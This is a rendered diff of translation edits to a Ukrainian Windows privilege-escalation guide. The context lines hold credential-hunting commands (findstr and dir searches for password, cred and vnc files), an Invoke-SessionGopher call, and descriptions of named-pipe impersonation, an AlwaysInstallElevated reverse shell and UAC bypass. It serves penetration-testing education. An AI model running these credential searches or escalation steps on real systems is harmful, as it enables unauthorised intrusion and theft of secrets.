Всередині CLSID цього реєстру ви можете знайти дочірній реєстр **InProcServer32**, який містить **значення за замовчуванням**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (однопотоковий), **Free** (багатопотоковий), **Both** (один або кілька) або **Neutral** (нейтральний до потоків).
|
Всередині CLSID цього реєстру ви можете знайти дочірній реєстр **InProcServer32**, який містить **значення за замовчуванням**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (однопотоковий), **Free** (багатопотоковий), **Both** (один або кілька) або **Neutral** (нейтральний потік).
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -1192,7 +1205,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
|||||||
findstr /si password *.xml *.ini *.txt *.config
|
findstr /si password *.xml *.ini *.txt *.config
|
||||||
findstr /spin "password" *.*
|
findstr /spin "password" *.*
|
||||||
```
|
```
|
||||||
**Шукати файл з певною назвою**
|
**Шукати файл з певним ім'ям**
|
||||||
```bash
|
```bash
|
||||||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||||||
where /R C:\ user.txt
|
where /R C:\ user.txt
|
||||||
@ -1231,7 +1244,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
|||||||
|
|
||||||
Windows надає функцію під назвою **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер іменованих трубопроводів** та **клієнт іменованих трубопроводів**.
|
Windows надає функцію під назвою **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер іменованих трубопроводів** та **клієнт іменованих трубопроводів**.
|
||||||
|
|
||||||
Коли дані надсилаються через трубопровід **клієнтом**, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
Коли дані надсилаються через трубопровід клієнтом, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
||||||
|
|
||||||
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованого трубопроводу за допомогою інструменту, такого як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі трубопроводи для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованого трубопроводу за допомогою інструменту, такого як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі трубопроводи для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||||
|
|
||||||
@ -1301,7 +1314,7 @@ Windows 10 1709 16299 link NOT opened
|
|||||||
|
|
||||||
https://github.com/jas502n/CVE-2019-1388
|
https://github.com/jas502n/CVE-2019-1388
|
||||||
|
|
||||||
## Від середнього рівня адміністратора до високого рівня цілісності / обхід UAC
|
## Від середнього до високого рівня цілісності адміністратора / обхід UAC
|
||||||
|
|
||||||
Прочитайте це, щоб **дізнатися про рівні цілісності**:
|
Прочитайте це, щоб **дізнатися про рівні цілісності**:
|
||||||
|
|
||||||
@ -1326,8 +1339,8 @@ sc start newservicename
|
|||||||
```
|
```
|
||||||
### AlwaysInstallElevated
|
### AlwaysInstallElevated
|
||||||
|
|
||||||
З процесу з високою цілісністю ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи обгортку _**.msi**_.\
|
З процесу з високою цілісністю ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи _**.msi**_ обгортку.\
|
||||||
[Більше інформації про залучені ключі реєстру та як встановити пакет _.msi_ тут.](#alwaysinstallelevated)
|
[Більше інформації про залучені ключі реєстру та як встановити _.msi_ пакет тут.](#alwaysinstallelevated)
|
||||||
|
|
||||||
### High + SeImpersonate privilege to System
|
### High + SeImpersonate privilege to System
|
||||||
|
|
||||||
@ -1341,7 +1354,7 @@ sc start newservicename
|
|||||||
|
|
||||||
### **Named Pipes**
|
### **Named Pipes**
|
||||||
|
|
||||||
Цю техніку використовує meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні каналу, а потім створенні/зловживанні службою для запису в цей канал**. Потім **сервер**, який створив канал, використовуючи привілей **`SeImpersonate`**, зможе **імпсонувати токен** клієнта каналу (служба), отримуючи привілеї SYSTEM.\
|
Цю техніку використовує meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні каналу, а потім створенні/зловживанні службою для запису в цей канал**. Потім **сервер**, який створив канал, використовуючи привілей **`SeImpersonate`**, зможе **імпсонувати токен** клієнта каналу (служби), отримуючи привілеї SYSTEM.\
|
||||||
Якщо ви хочете [**дізнатися більше про іменовані канали, вам слід прочитати це**](#named-pipe-client-impersonation).\
|
Якщо ви хочете [**дізнатися більше про іменовані канали, вам слід прочитати це**](#named-pipe-client-impersonation).\
|
||||||
Якщо ви хочете прочитати приклад [**як перейти з високої цілісності до System, використовуючи іменовані канали, вам слід прочитати це**](from-high-integrity-to-system-with-name-pipes.md).
|
Якщо ви хочете прочитати приклад [**як перейти з високої цілісності до System, використовуючи іменовані канали, вам слід прочитати це**](from-high-integrity-to-system-with-name-pipes.md).
|
||||||
|
|
||||||
@ -1385,7 +1398,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
|||||||
**Exe**
|
**Exe**
|
||||||
|
|
||||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Пошук відомих вразливостей привілеїв (потрібно скомпілювати за допомогою VisualStudio) ([**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
[**Watson**](https://github.com/rasta-mouse/Watson) -- Пошук відомих вразливостей привілеїв (потрібно скомпілювати за допомогою VisualStudio) ([**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перераховує хост, шукаючи неправильні налаштування (більше інструмент для збору інформації, ніж для привілеїв) (потрібно скомпілювати) **(**[**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перераховує хост, шукаючи неправильні налаштування (більше інструмент для збору інформації, ніж для ескалації привілеїв) (потрібно скомпілювати) **(**[**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує облікові дані з багатьох програм (попередньо скомпільований exe в github)**\
|
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує облікові дані з багатьох програм (попередньо скомпільований exe в github)**\
|
||||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Порт PowerUp на C#**\
|
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Порт PowerUp на C#**\
|
||||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на неправильні налаштування (виконуваний файл попередньо скомпільований в github). Не рекомендується. Погано працює в Win10.\
|
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на неправильні налаштування (виконуваний файл попередньо скомпільований в github). Не рекомендується. Погано працює в Win10.\
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user